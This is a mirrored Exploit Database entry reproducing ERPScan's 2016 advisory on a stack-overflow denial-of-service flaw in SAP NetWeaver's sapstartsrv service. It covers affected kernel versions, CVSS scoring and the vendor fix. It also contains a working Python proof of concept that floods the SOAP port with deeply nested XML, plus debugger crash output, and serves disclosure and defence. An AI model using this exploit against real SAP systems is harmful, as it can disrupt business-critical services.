SAP NetWeaver KERNEL 7.0 < 7.5 - Denial of Service

• Exploit Database
• 103 阅读

• 作者： ERPScan
  日期： 2016-10-20
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40592/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262

  &apos;&apos;&apos; Application:SAP NetWeaver KERNEL   Versions Affected: SAP NetWeaver KERNEL 7.0-7.5   Vendor URL: http://SAP.com   Bugs: Denial of Service   Sent: 09.03.2016   Reported: 10.03.2016   Vendor response: 10.03.2016   Date of Public Advisory: 12.07.2016   Reference: SAP Security Note2295238   Author: Dmitry Yudin (ERPScan)       Description     1. ADVISORY INFORMATION   Title: [ERPSCAN-16-030] SAP NetWeaver– buffer overflow vulnerability   Advisory ID: [ERPSCAN-16-030]   Risk: high   Advisory URL: https://erpscan.com/advisories/erpscan-16-030-sap-netweaver-sapstartsrv-stack-based-buffer-overflow/   Date published: 12.10.2016   Vendors contacted: SAP     2. VULNERABILITY INFORMATION   Class: Denial of Service   Impact: DoS   Remotely Exploitable: yes   Locally Exploitable: yes       CVSS Information   CVSS Base Score v3:6.5/ 10   CVSS Base Vector:   AV : Attack Vector (Related exploit range) Network (N)   AC : Attack Complexity (Required attack complexity) Low (L)   PR : Privileges Required (Level of privileges needed to exploit) None (N)   UI : User Interaction (Required user participation) None (N)   S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Unchanged (U)   C : Impact to Confidentiality None (N)   I : Impact to Integrity Low (L)   A : Impact to Availability Low (L)       3. VULNERABILITY DESCRIPTION   This vulnerability allows an attacker to send a special request to the SAPSTARTSRV process port and conduct stack buffer overflow (recursion) on the SAP server.     4. VULNERABLE PACKAGES   SAP KERNEL 7.21 32-BIT 625   SAP KERNEL 7.21 32-BIT UNICODE 625   SAP KERNEL 7.21 64-BIT 625   SAP KERNEL 7.21 64-BIT UNICODE 625   SAP KERNEL 7.21 EXT 32-BIT 625   SAP KERNEL 7.21 EXT 32-BIT UC 625   SAP KERNEL 7.21 EXT 64-BIT 625   SAP KERNEL 7.21 EXT 64-BIT UC 625   SAP KERNEL 7.22 64-BIT 113   SAP KERNEL 7.22 64-BIT UNICODE 113   SAP KERNEL 7.22 EXT 64-BIT 113   SAP KERNEL 7.22 EXT 64-BIT UC 113   SAP KERNEL 7.42 64-BIT 412   SAP KERNEL 7.42 64-BIT UNICODE 412   SAP KERNEL 7.45 64-BIT 113   SAP KERNEL 7.45 64-BIT UNICODE 113     5. SOLUTIONS AND WORKAROUNDS   To correct this vulnerability, install SAP Security Note2295238     6. AUTHOR   Dmitry Yudin (ERPScan)     7. TECHNICAL DESCRIPTION   7.1. Proof of Concept &apos;&apos;&apos;   import socket PoC = """<?xml version="1.0" encoding="utf-8"?>   <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header> <sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/"> > """ + "<a>" * 100000 + "</a>" * 100000 + """</sapsess:Session> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:WW xmlns:ns1="urn:SAPControl"> <b></b> <e><e> </ns1:WW> </SOAP-ENV:Body> </SOAP-ENV:Envelope>"""   for i in range(1,5): sock = socket.socket() sock.connect(("SAP_IP", SAP_PORT)) sock.send(PoC)   &apos;&apos;&apos; Windbg exceptions   sapstartsrv!soap_getutf8+0xa: 00000001<code>4009cd2a e891f9ffffcallsapstartsrv!soap_get (00000001</code>4009c6c0)   rax=0000000000000000 rbx=000000000bcdcfb0 rcx=000000000bcdcfb0 rdx=0000000000000061 rsi=0000000000000000 rdi=000000000bcdcfb0 rip=000000014009cd2a rsp=0000000002b93ff0 rbp=000000000bcdcfb0 r8=0000000134936c69r9=0000000000000000 r10=0000000000000000 r11=000000014061ee28 r12=0000000000000000 r13=000000000000270f r14=00000001409f8ba0 r15=0000000000000000 iopl=0 nv up ei pl nz na po nc cs=0033ss=002bds=002bes=002bfs=0053gs=002b efl=00010206       8. REPORT TIMELINE   Sent:09.03.2016   Reported: 10.03.2016   Vendor response: 10.03.2016   Date of Public Advisory: 12.07.2016       9. REFERENCES   https://erpscan.com/advisories/erpscan-16-030-sap-netweaver-sapstartsrv-stack-based-buffer-overflow/       10. ABOUT ERPScan Research   ERPScan research team specializes in vulnerability research and analysis of critical enterprise applications. It was acknowledged multiple times by the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for discovering more than 400 vulnerabilities in their solutions (200 of them just in SAP!).   ERPScan researchers are proud of discovering new types of vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug" nomination at BlackHat 2013.   ERPScan experts participated as speakers, presenters, and trainers at 60+ prime international security conferences in 25+ countries across the continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for several Fortune 2000 companies.   ERPScan researchers carry out the EAS-SEC project that is focused on enterprise application security awareness by issuing annual SAP security researches.   ERPScan experts were interviewed in specialized info-sec resources and featured in major media worldwide. Among them there are Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc.   Our team consists of highly-qualified researchers, specialized in various fields of cybersecurity (from web application to ICS/SCADA systems), gathering their experience to conduct the best SAP security research.   11. ABOUT ERPScan   ERPScan is the most respected and credible Business Application Cybersecurity provider. Founded in 2010, the company operates globally and enables large Oil and Gas, Financial, Retail and other organizations to secure their mission-critical processes. Named as an ‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP Solution providers” and distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to assist in improving the security of their latest solutions.   ERPScan’s primary mission is to close the gap between technical and business security, and provide solutions for CISO&apos;s to evaluate and secure SAP and Oracle ERP systems and business-critical applications from both cyberattacks and internal fraud. As a rule, our clients are large enterprises, Fortune 2000 companies and MSPs, whose requirements are to actively monitor and manage security of vast SAP and Oracle landscapes on a global scale.   We ‘follow the sun’ and have two hubs, located in Palo Alto and Amsterdam, to provide threat intelligence services, continuous support and to operate local offices and partner network spanning 20+ countries around the globe.     Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301   Phone: 650.798.5255   Twitter: @erpscan   Scoop-it: Business Application Security &apos;&apos;&apos;